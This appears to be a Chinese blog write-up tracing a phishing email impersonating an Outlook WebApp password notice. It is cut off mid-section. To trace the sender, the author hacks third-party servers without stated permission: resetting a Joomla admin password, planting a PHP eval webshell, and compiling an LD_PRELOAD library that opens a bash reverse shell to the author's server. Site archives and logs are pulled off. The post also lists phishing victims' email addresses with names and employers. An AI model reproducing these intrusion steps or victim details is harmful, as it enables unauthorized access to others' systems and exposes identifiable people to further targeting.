1. 首页
  2. 安全防御
  3. 取证

如何通过一封恶意邮件追踪幕后黑客组织

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

一、前言

近日朋友收到一封来自海外的钓鱼邮件,委托我帮忙分析。因此我对钓鱼者身份和攻击路径进行了一次详细的溯源。大致摸清了攻击者组织身份、攻击手法以及动机。本次溯源工作主要是通过提取攻击者控制的肉鸡服务器、网站访问日志、攻击者后门特征等。关联分析这些日志和特征最终得到攻击者的身份信息。本文以流水账的方式,详细记录整个溯源过程,包括分析手法和思路,以供安全研究人员参考。

二、信息收集

这是一封冒充 Microsoft Outlook WebApp 密码过期的钓鱼邮件:

如何通过一封恶意邮件追踪幕后黑客组织
Received: from sysmailout1.platon.sk (unknown [85.248.228.17])    by bizmx16.qq.com (NewMx) with SMTP id     for <test@test.cn>; Thu, 29 Nov 2018 06:56:41 +0800X-QQ-SPAM: trueX-QQ-FEAT: jfJxHuYZxOCSeMM7azx75jXNlqmrApsudtGuMpkas54ZAC17UV7M4b/R5+7i0    PKMg4QGPsKjsZDM+XUXd0s8kb9W0jCArNfxa3+HTU9vKECwH9fbHyzA2+de0ctDM9+ziJ5w    1BJI2Ppc9DVh5DYSq8ySLhcBVRj6sBsJefxrSztWrgzKi58wWFCv7LPgqOAXS+VVMyVipbT    fHFacZXmdB00T62nXv8xQociZvHE+8ELBoHVgcA3ZWA7p4no8o1e0Z8ShUvX2P5FwhvXPLZ    QUg8HNiMhXk5NEtQVC0Y7R9JwKV2VeKybQbg==X-QQ-MAILINFO: Mms3jrkBGwMrz972clMUbgsPqZ0t5EGjrqWV2rMFcEfTT5Y9lunbPCtSM    4HaaK+iUBVTvuth5bvdEvVKkuiTcOnkJ0t3khnTYcRGfQmEIZI+ZrNXlT/8QxjWMjOsiHkK    yGbgfv5Gx9Qr65abnNzXymg=X-QQ-mid: bizmx16t1543445804ti4ex7suwX-QQ-CSender: www-data@m7web1.platon.skX-QQ-ORGSender: www-data@m7web1.platon.skX-KK-mid:bizmxp6t1543445804t9ne878suReceived: from m7web1.platon.sk (m7web1.platon.sk [85.248.229.150])    by sysmailout1.platon.sk (Postfix) with ESMTP id 8EFCC217002E    for <test@test.cn>; Wed, 28 Nov 2018 23:56:38 +0100 (CET)Received: by m7web1.platon.sk (Postfix, from userid 33)    id 89364400A3A1; Wed, 28 Nov 2018 23:56:38 +0100 (CET)To: test@test.cnSubject: =?UTF-8?Q?Password_expiry_notice?=Date: Wed, 28 Nov 2018 23:56:38 +0100From: =?UTF-8?Q?Microsoft_Online_Services_Team?= <no-response@365.mirohaviar.sk>Message-ID: <0a9ee06dc11866565f0302302c647c7a@www.mirohaviar.sk>X-Priority: 3MIME-Version: 1.0Content-Transfer-Encoding: quoted-printableContent-Type: text/html; charset="us-ascii"略...<br>The password for the Microsoft 365 account<span style=3D"font-weight: b=old;"> test@test.cn</span> hasexpired.<br>![mir-nc.png-57.1kB][2]<span class=3D"Apple-converted-space"></span><br>To protect your Microsoft =account, your existing password may cease to workshortly.<br><br>You are now required to <span class=3D"Apple-converted-space"></span><a hre=f=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest@=test.cn"><span style=3D"font-weight: bold;">changeyour password</span></a>immediateIy.<span class=3D"Apple-converted-space"> <br>=2E</span><br><a href=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest=@test.cn略...

2.2 分析邮件内容

根据邮件内容得到的信息如下:

钓鱼网站: www.rosturplast.com(137.74.81.5 法国) 钓鱼链接: http://www.rosturplast.com/shells/logon.secureaccess/?ml=test@test.cn 发件地址: no-response@365.mirohaviar.sk 服务商: Platon Technologies, s.r.o (斯洛伐克) SMTP: sysmailout1.platon.sk (85.248.228.17 斯洛伐克)


三、渗透钓鱼网站

3.1 漏洞分析

目标网站:www.rosturplast.com

访问钓鱼链接,一个克隆OWA修改密码的的虚假页面,我们按照正常流程走一遍,密码随便输入。不出所料页面提示密码错误,这么做可以收集受害者多个密码提高成功率,仔细想想这个功能还是很贴心的:)。

Step 1

如何通过一封恶意邮件追踪幕后黑客组织

Step 2

如何通过一封恶意邮件追踪幕后黑客组织

Step 3

如何通过一封恶意邮件追踪幕后黑客组织

抓包如下:注入、跨站之流都是不存在的。

如何通过一封恶意邮件追踪幕后黑客组织

访问首页,这是一家俄罗斯的塑料水管厂商,攻击者入侵了这个网站,放置了钓鱼页面,再通过邮件传播。

如何通过一封恶意邮件追踪幕后黑客组织

端口扫描显示开放了一堆端口,防火墙做了策略限制。

如何通过一封恶意邮件追踪幕后黑客组织

通过扫描分析,得到沦陷主机信息如下:

[+] HOST: www.rosturplast.com (137.74.81.5 法国) [+] OS: Red Hat 4.8 [+] Web Server: Apache/2.4.6 OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 [+] CMS: Joomla 3.3.3 (Joomla!是一套海外流行的建站系统,基于PHP+MySQL开发)

这是一个低版本的Joomla,joomscan扫描显示受害网站有一堆漏洞,看起来弱不禁风,Getshell指日可待。

如何通过一封恶意邮件追踪幕后黑客组织

扫描发现PHPMailer RCE漏洞,不过需要邮件发送表单功能才能利用,这一堆漏洞里面,看起来唯一有机会的是CVE-2016-9838(Joomla! Core Remote Privilege Escalation Vulnerability),然而经过测试攻击者(丧心病狂)贴心的把用户注册页面删除了!堵住了漏洞,导致无法利用。

如何通过一封恶意邮件追踪幕后黑客组织

机智的我(此时毫无办法),开始挂字典整合Joomla目录盲扫备份文件,最后发现目标存在PhpMyAdmin后台,和一个报错页面,页面显示了网站绝对路径和疑似以日期格式生成的网站备份的文件名。

/var/www/rosturpl/data/www/rosturplast.com/rosturplast.com.2015-11-11.zip

3.2 陷入僵局

尝试下载这个文件,http响应404。看了一下同站有多个站点,但旁站渗透是个体力活,国外这种典型的CloudLinux+cPanel的架构不好提权。到这一步陷入了僵局,睡个午觉养养神,下午继续研究。

wget http://www.rosturplast.com/rosturplast.com.2015-11-11.zip  错误 404:Not Found

3.3 后台提权

不到万不得已,不从旁站和C段入手,稍加思索根据报错页面的备份文件名格式生成日期文件,尝试遍历日期下载,碰碰运气。

脚本内容:

#!/bin/bashstartdate=`date -d "+0 day $1" +%Y%m%d`enddate=`date -d "+0 day $2" +%Y%m%d`while [[ $startdate -le $enddate ]]dodate=$startdatestartdateother=`date -d "+0 day $date" +%Y-%m-%d`dateother=$startdateotherurl=http://www.rosturplast.com/rosturplast.com.$dateother.zipecho "$url"startdate=`date -d "+1 day $date" +%Y-%m-%d`startdateother=`date -d "+1 day $date" +%Y-%m-%d`wget $urldone

脚本大概跑了一个下午,当到达2017-08-07的时候,响应200状态码,看到rosturplast.com.2017-08-07.zip的文件大小为177M 感觉成了,解压后果然是整站备份,果然是柳暗花明又一shell。

如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织

查看配置文件 configuration.php得到数据库连接信息,登录PhpMyAdmin后台。低权限无法直接写shell,只能修改默认密码登录Joomla!后台。

  1. public $dbtype = 'mysqli';
  2. public $host = 'localhost';
  3. public $user = 'user***'; //敏感信息打码
  4. public $password = 'K********6759'; //敏感信息打码
  5. public $db = 'rtp_com3';
  6. public $dbprefix = 'ms8ef_';
  7. public $live_site = '';
  8. public $secret = '5qp******4zU'; //敏感信息打码
如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织

备份原始密文以备还原,将后台密码修改为 test123456XYZ

http://www.rosturplast.com/administrator/admin / test123456XYZ
如何通过一封恶意邮件追踪幕后黑客组织

登录后台,通过模板写入WebShell

Extensions —> Template Manager —> Template —> New Files —> PHP WebSehll

如何通过一封恶意邮件追踪幕后黑客组织

这里写入了PHP一句话WebShell,通过Cknife(java版中国菜刀)对网站进行控制。

<?php @eval($_POST['cmd']);?>
如何通过一封恶意邮件追踪幕后黑客组织

查看攻击者的钓鱼文件目录, user.txt 详细记录了上钩的受害者信息。

如何通过一封恶意邮件追踪幕后黑客组织

3.4 日志分析

将网站文件和访问日志下载到本地分析

[/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/log.tar.gz /var/www/rosturpl/data/access-logs /var/www/rosturpl/data/logs/rosturplast*[/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/www.tar.gz  --exclude=/var/www/rosturpl/data/www/rosturplast.com/www.tar.gz  /var/www/rosturpl/data/www/rosturplast.com/wget -c http://www.rosturplast.com/log.tar.gz && wget -c http://www.rosturplast.com/www.tar.gz⚡ root@kali  /tmp  gzip -d *.gz⚡ root@kali  /tmp  ls -lh总用量 22M-rw-r----- 1 48 6313 392K 11月 30 16:19 rosturplast.com.access.log-rw-r----- 1 48 6313 418K 11月 21 08:08 rosturplast.com.access.log-20181121-rw-r----- 1 48 6313 315K 11月 22 08:27 rosturplast.com.access.log-20181122-rw-r----- 1 48 6313 367K 11月 23 08:08 rosturplast.com.access.log-20181123-rw-r----- 1 48 6313 332K 11月 24 08:20 rosturplast.com.access.log-20181124-rw-r----- 1 48 6313 394K 11月 25 08:30 rosturplast.com.access.log-20181125-rw-r----- 1 48 6313 217K 11月 26 08:27 rosturplast.com.access.log-20181126-rw-r----- 1 48 6313 338K 11月 27 08:07 rosturplast.com.access.log-20181127-rw-r----- 1 48 6313 1.8M 11月 28 08:35 rosturplast.com.access.log-20181128-rw-r----- 1 48 6313 2.3M 11月 29 08:38 rosturplast.com.access.log-20181129-rw-r----- 1 48 6313 6.4M 11月 30 08:38 rosturplast.com.access.log-20181130-rw-rw---- 1 48 6313 267K 11月 30 16:00 rosturplast.com.error.log-rw-rw---- 1 48 6313 3.8K 11月 21 03:44 rosturplast.com.error.log-20181121-rw-rw---- 1 48 6313 1.9K 11月 21 14:43 rosturplast.com.error.log-20181122-rw-rw---- 1 48 6313 1.9K 11月 23 02:30 rosturplast.com.error.log-20181123-rw-rw---- 1 48 6313 5.0K 11月 24 01:46 rosturplast.com.error.log-20181124-rw-rw---- 1 48 6313 8.3K 11月 25 02:07 rosturplast.com.error.log-20181125-rw-rw---- 1 48 6313 2.3K 11月 26 05:05 rosturplast.com.error.log-20181126-rw-rw---- 1 48 6313 4.1K 11月 27 05:34 rosturplast.com.error.log-20181127-rw-rw---- 1 48 6313 550K 11月 28 08:35 rosturplast.com.error.log-20181128-rw-rw---- 1 48 6313 6.5M 11月 29 07:51 rosturplast.com.error.log-20181129-rw-rw---- 1 48 6313 1.4M 11月 30 08:38 rosturplast.com.error.log-20181130

用D盾扫网站文件,发现这个网站已成跑马场。

如何通过一封恶意邮件追踪幕后黑客组织

攻击者在 shells/目录下放置钓鱼文件和PHP后门。

如何通过一封恶意邮件追踪幕后黑客组织

查看哪些IP访问了后门并统计次数

查询攻击者IP地址

 ⚡ root@kali  /tmp/rosturplast.com/log  grep "/shells/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r  >ip.txt26 174.85.145.9920 50.73.252.16910 213.233.104.1202 207.228.149.692 195.211.23.2072 129.205.113.8
 ⚡ root@kali  /tmp/rosturplast.com/log  for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; doneIP: 174.85.145.99 来自: 美国 IP: 50.73.252.169 来自: 美国 IP: 213.233.104.120 来自: 罗马尼亚 IP: 207.228.149.69 来自: 百慕大 IP: 195.211.23.207 来自: 俄罗斯 IP: 129.205.113.8 来自: 尼日利亚

根据后门文件名,匹配Apache访问日志得到攻击者的代理IP和User Agent

 ⚡ root@kali  /tmp  grep "/shells" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq129.205.113.8 - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"174.85.145.99 - - [27/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"207.228.149.69 - - [28/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"213.233.104.120 - - [27/Nov/2018//www.rosturplast.com/shells//bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv50.73.252.169 - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

通过日志匹配邮箱并去重得到受害者邮箱地址

egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' *  | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniq
 ⚡ root@kali  /tmp  egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' *  | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniqalexsin54@yahoo.com             //攻击者邮箱  clavenda.payman@lbdi.net        //利比亚发展投行CFOdennis@rayfields.co.za          //域名失效georges.raad@nera.net           //新加坡IT基础设施提供商员工gthakkar@sscinc.com             //美国SS&C Technologies, Inc. (印度分公司)jasonchowan223@gmail.com        //攻击者邮箱******@******.com               //同事jiajie.lim@cimb.com             //马来西亚联昌国际银行员工kohchinbeng@bdo.com.sg          //新加坡立信会计师事务所员工mayfaithlee@hotmail.com         //未知philip@beekoo.hk                //深圳市很有蜂格网络科技有限公司CEOPoint72.IR@sscinc.com           //美国SS&C Technologies, Inc.shunweicapital@sscinc.com       //美国SS&C Technologies, Inc.(疑似顺为资本)url@email.com                   //无效

3.5 受害者身份识别

通过搜索引擎对这15个受害者邮箱进行身份识别。

3.5.1 alexsin54@yahoo.com / jasonchowan223@gmail.com

alexsin54@yahoo.com:攻击者欺诈账户,曾被举报过,在这里攻击者用来作钓鱼测试。 jasonchowan223@gmail.com:通过钓鱼程序配置文件获得。./logon.secureaccess/mail.php:$mail="jasonchowan223@gmail.com";

来源:http://www.payer.org/test/ 来源:https://avoidaclaim.com/2018/debt-collection-fraud-using-the-name-yeung-alexander-luk/

如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织

3.5.2 clavenda.payman@lbdi.net

Mrs. Clavenda O. PAYMAN 利比亚发展投行(Liberian Bank forDevelopment and nvestment)首席财务官 来源:https://www.adfi-ci.org/downloads/telecharger.php?Fichieratelecharger=files/aadfidocen_20130623170205.pdf&chemin=&id=91

如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织

3.5.3 georges.raad@nera.net

疑似新加坡 Nera Telecommunications Ltd(IT基础设施提供商)公司员工 来源:http://www.nera.net/about-us.html

3.5.4 gthakkar@sscinc.com

美国SS&C Technologies, Inc. & 印度金融服务公司 Globeop Financial Services Technologies (India) Private Limited 来源:https://www.instafinancials.com/company/globeop-financial-services-india-private-limited/U67100MH2003PTC141044

来源: http://www.seepz.gov.in/writereaddatafolder/Regional%20Governing%20Council%20of%20EPCES%20for%202016-18.pdf

如何通过一封恶意邮件追踪幕后黑客组织

3.5.5 jiajie.lim@cimb.com

马来西亚联昌国际银行员工(CIMB Group) 来源:https://www.cimb.com/en/who-we-are.html

3.5.6 kohchinbeng@bdo.com.sg

KOH CHIN BENG 新加坡立信会计师事务所员工

来源:https://www.bdo.com.sg/en-gb/our-people/koh-chin-beng

如何通过一封恶意邮件追踪幕后黑客组织

3.5.7 philip@beekoo.hk

深圳市很有蜂格网络科技有限公司 CEO 来源:https://m.zhipin.com/job_detail/1407383492.html 来源:https://www.tianyancha.com/company/2349004659

如何通过一封恶意邮件追踪幕后黑客组织

四、渗透邮件发送网站

目标:mirohaviar.sk ,这是一个博客网站


4.1 漏洞扫描

服务器信息如下:

[+] HOST: mirohaviar.sk(85.248.229.150 斯洛伐克) [+] OS: Debian 7 [+] Web Server:Apache/2.2.22 PHP/5.2.6-1+lenny16 [+] CMS: Joomla 1.5

如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织

CMS漏洞扫描得到图示的漏洞信息,经过测试全部无法利用,其他端口也没有发现可以利用的的漏洞,看来攻击者也是一个勤奋的同学,入侵成功后做了相应的修复和加固,看起来毫无办法,好像只能旁站或者C段渗透了。

然而有人的地方就有江湖,有黑客入侵过的网站一定有后门。这类利用通用漏洞批量入侵的黑客团伙,后门文件一般都有特征,我根据前一个网站获得的php后门文件名列表,批量访问当前网站得到了三个相同的后门文件。

如何通过一封恶意邮件追踪幕后黑客组织

  1. ⚡ root@kali  /tmp/rosturplast.com/webroot/shells  md5sum *
  2. 724e7316427151ea1f449f38a28f642c 406.php
  3. 3e8a7cf7049e8b9ab8dfca7d3c827c4a aaaa
  4. aaf775b99997c166ff45677806d809de an.php
  5. e5c06f1f66781ba5c39d909096c4cd47 a.txt
  6. f71ad06982064b125d155b6f601198b8 bacu.php
  7. f2d7553b97d8e0a0258e48c3ca42a7d2 baer.php
  8. c01a0691c484a8d00977a100d8706b50 cfg.php
  9. e5c06f1f66781ba5c39d909096c4cd47 config.php
  10. md5sum: logon.secureaccess: 是一个目录
  11. 983ba05973b84e33e76916ca0dabedec new2bug.txt
  12. 1c014f955a67974dc779100c13162f1a priv8.php
  13. 2a73dda7ebb3b8d1c0d094b79623e9ff setup.php
  14. 80b5dadd0a9856f1e6d950843140d24e switch-security.php
  15. 48f50fb676028e0ae82f3f2db4e26247 unzipper.php
  16. 51f0bba7ec30b8778dca19ead016a58f webapp365.zip
  17. 58d1d66c0be0739319156702522b1b52 wso.php

相同文件名如下:

http://www.mirohaviar.sk/config.phphttp://www.mirohaviar.sk/an.phphttp://www.mirohaviar.sk/bacu.php  Pro Mailer V2

其中 http://www.mirohaviar.sk/config.php 是攻击者的加密WebShell,理论上只需解密获得密码就能登录这个后门。


4.2 解密WebShell

解密过程如下

php //去除头尾多余字符,得到base64密文。
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\'//第一次base64解码,得到16进制密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p//第二次hex解码,得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}'//第三次base64解码,得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}' //第四次base64解码,得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i//第五次base64解码,得到明文
如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织

得到后门密码hash(MD5),解密后得到明文: root (饶了个大弯原来是个弱口令,下次遇到这类先跑一下密码)

$auth_pass = "63a9f0ea7bb98050796b649e85481845";  
如何通过一封恶意邮件追踪幕后黑客组织

这个后门有点皮,做了UserAgent判断,我浏览器默认设置的UA是Googlebot,访问显示404,这是反搜索引擎爬虫的惯用手段,所以我换了个正常浏览器的UA访问得到正常页面。

if(!empty($_SERVER['HTTP_USER_AGENT'])) {    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {        header('HTTP/1.0 404 Not Found');        exit;    }}
如何通过一封恶意邮件追踪幕后黑客组织

4.3 提权

通过webshell得到了具体系统信息,下一步尝试提权,目的是获得Apache的web访问日志。

如何通过一封恶意邮件追踪幕后黑客组织

4.3.1 突破disable_functions

测试发现目标限制跨目录(open_basedir),并禁用了命令执行函数,导致WebShell权限下,无法跨目录访问也无法执行命令。

disable_functions:     escapeshellarg,escapeshellcmd,exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system,popen,pcntl_exec   open_basedir:    /storage/www/mirohaviar.sk/:/storage/www-include/:/usr/share/php5/:/usr/share/file/:/usr/share/pear/:

如何通过一封恶意邮件追踪幕后黑客组织

突破的手段很多,这里我利用LDPRELOAD动态链接来劫持php的mail函数突破disablefunctions执行系统命令。

查看sendmail函数在执行过程中动态调用哪些标准库函数。

  1. www-data@m7web1:/tmp$ readelf -Ws /usr/sbin/sendmail
  2. Symbol table '.dynsym' contains 420 entries:
  3. Num: Value Size Type Bind Vis Ndx Name
  4. 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
  5. 1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __printf_chk@GLIBC_2.3.4 (2)
  6. 2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getegid@GLIBC_2.2.5 (3)
  7. 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dane_raw_tlsa@DANE_0_0 (4)
  8. 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_ocsp_resp_print@GNUTLS_3_4 (5)
  9. 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_x509_crt_get_serial@GNUTLS_3_4 (5)
  10. 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (3)
  11. 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_db_set_cache_expiration@GNUTLS_3_4 (5)
  12. 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sendto@GLIBC_2.2.5 (3)
  13. ......
  14. 76: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getuid@GLIBC_2.2.5 (3)
  15. 77: 0000000000000000 0 FUNC GLOBAL DEFAULT UND send@GLIBC_2.2.5 (3)

从中选取geteuid函数进行测试,编写动态链接程序bypass.c

  1. #include<stdlib.h>
  2. #include <stdio.h>
  3. #include<string.h>
  4. void payload() {
  5. system("bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/999 0>&1");
  6. }
  7. int geteuid() {
  8. if(getenv("LD_PRELOAD") == NULL) { return 0; }
  9. unsetenv("LD_PRELOAD");
  10. payload();
  11. }

当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令调用system执行一个反弹shell的操作(xxx.xxx.xxx.xxx即是我的公网服务器IP)

编译

gcc -c -fPIC bypass.c -o bypassgcc -shared bypass.c -o bypass.so

上传

www-data@m7web1:/tmp$ cat b64.txt|base64 -d >bypass.sowww-data@m7web1:/tmp$ file bypass.sofile bypass.sobypass.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV)

执行

bypass.php

<?phpputenv("LD_PRELOAD=/tmp/bypass.so");mail("test@localhost","","","","");?>

浏览器访问 http://www.mirohaviar.sk/bypass.php页面后成功执行命令,得到了一个www-user权限的反弹shell。

如何通过一封恶意邮件追踪幕后黑客组织

4.3.2 发现行踪

仔细看这是一家斯洛伐克的网络公司,这台服务器上面托管了五百多个网站,当前的权限可以访问这些网站的文件和数据库,令人遗憾的的是apache日志目录 /var/log/apache2/无权限访问。

如何通过一封恶意邮件追踪幕后黑客组织

不过我在 /tmp目录下面发现了一个有趣的日志文件。

[/tmp/]$cat w--2018-11-26 04:49:06--  http://187.85.134.4/cacat/mm.tgzConnecting to 187.85.134.4:80... connected.HTTP request sent, awaiting response... 200 OKLength: 769309 (751K) [application/x-gzip]Saving to: 'mm.tgz'     0K .......... .......... .......... .......... ..........  6%  174K 4s    50K .......... .......... .......... .......... .......... 13%  176K 4s   100K .......... .......... .......... .......... .......... 19% 14.1M 2s   150K .......... .......... .......... .......... .......... 26%  353K 2s   200K .......... .......... .......... .......... .......... 33%  353K 2s   250K .......... .......... .......... .......... .......... 39% 19.8M 1s   300K .......... .......... .......... .......... .......... 46%  355K 1s   350K .......... .......... .......... .......... .......... 53% 28.7M 1s   400K .......... .......... .......... .......... .......... 59% 23.6M 1s   450K .......... .......... .......... .......... .......... 66%  344K 1s   500K .......... .......... .......... .......... .......... 73% 18.0M 0s   550K .......... .......... .......... .......... .......... 79%  360K 0s   600K .......... .......... .......... .......... .......... 86% 20.4M 0s   650K .......... .......... .......... .......... .......... 93% 20.2M 0s   700K .......... .......... .......... .......... .......... 99% 12.7M 0s   750K .                                                     100% 2438G=1.3s2018-11-26 04:49:10 (577 KB/s) - 'mm.tgz' saved [769309/769309]

4.4 追踪

根据泄露日志,使用谷歌搜索关键字: http://187.85.134.4,发现了一个历史页面。

如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织

是一个已经被删除的后门页面,刚好被谷歌爬虫收录了,进一步搜索一下这个后门参数的关键字: inurl:bc.php?filesrc=,得到了多条后门记录。

如何通过一封恶意邮件追踪幕后黑客组织

其中多个WebShell缓存页面内容跟上一个被黑网站的临时目录中发现的日志内容吻合,疑似自动化攻击留下的日志,WebShell底部署名: MuslimCyberCorp-MujahidinCyberArmy-FamilyAttackCyber ,表明后门均为这个黑客组织所有。

如何通过一封恶意邮件追踪幕后黑客组织

进一步搜索这个黑客组织名称,发现大量被黑网站,程序使用Wordpress与Joomla居多。

如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织

4.5 提取日志

我提取了其中几个被入侵网站的访问日志。

4.5.1 网站:www.radiolanalhue.cl

打包

tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz--exclude=/home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz  /home/radiolanalhue/public_html/  tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.log.tar.gz /home/radiolanalhue/logs/radiolanalhue.cl-ssl_log-Nov-2018.gz /home/radiolanalhue/access-logs/ /home/radiolanalhue/access-logs/radiolanalhue.cl  

下载

wget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.tar.gz wget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.log.tar.gz

分析

根据后门文件名,匹配Apache访问日志,到攻击者代理IP和User Agent。 ✘ ⚡ root@kali  /tmp/radiolanalhue.cl/log/  grep "/beez5/" radiolanalhue.cl-Dec-2018疑似攻击者代理IP:212.1.211.3 (美国) - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"谷歌爬虫:66.249.66.149 - - [01/Dec/2018:00:53:57 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.66.151 - - [01/Dec/2018:06:34:34 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/favicon.ico&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 2348 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.66.153 - - [01/Dec/2018:06:51:46 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/component.php&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 5456 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

4.5.2 网站:zebramedia.al

打包

tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz --exclude=/home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz /home/vayqpdvg/zebramedia.al/tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-log.tar.gz /home/vayqpdvg/logs

下载

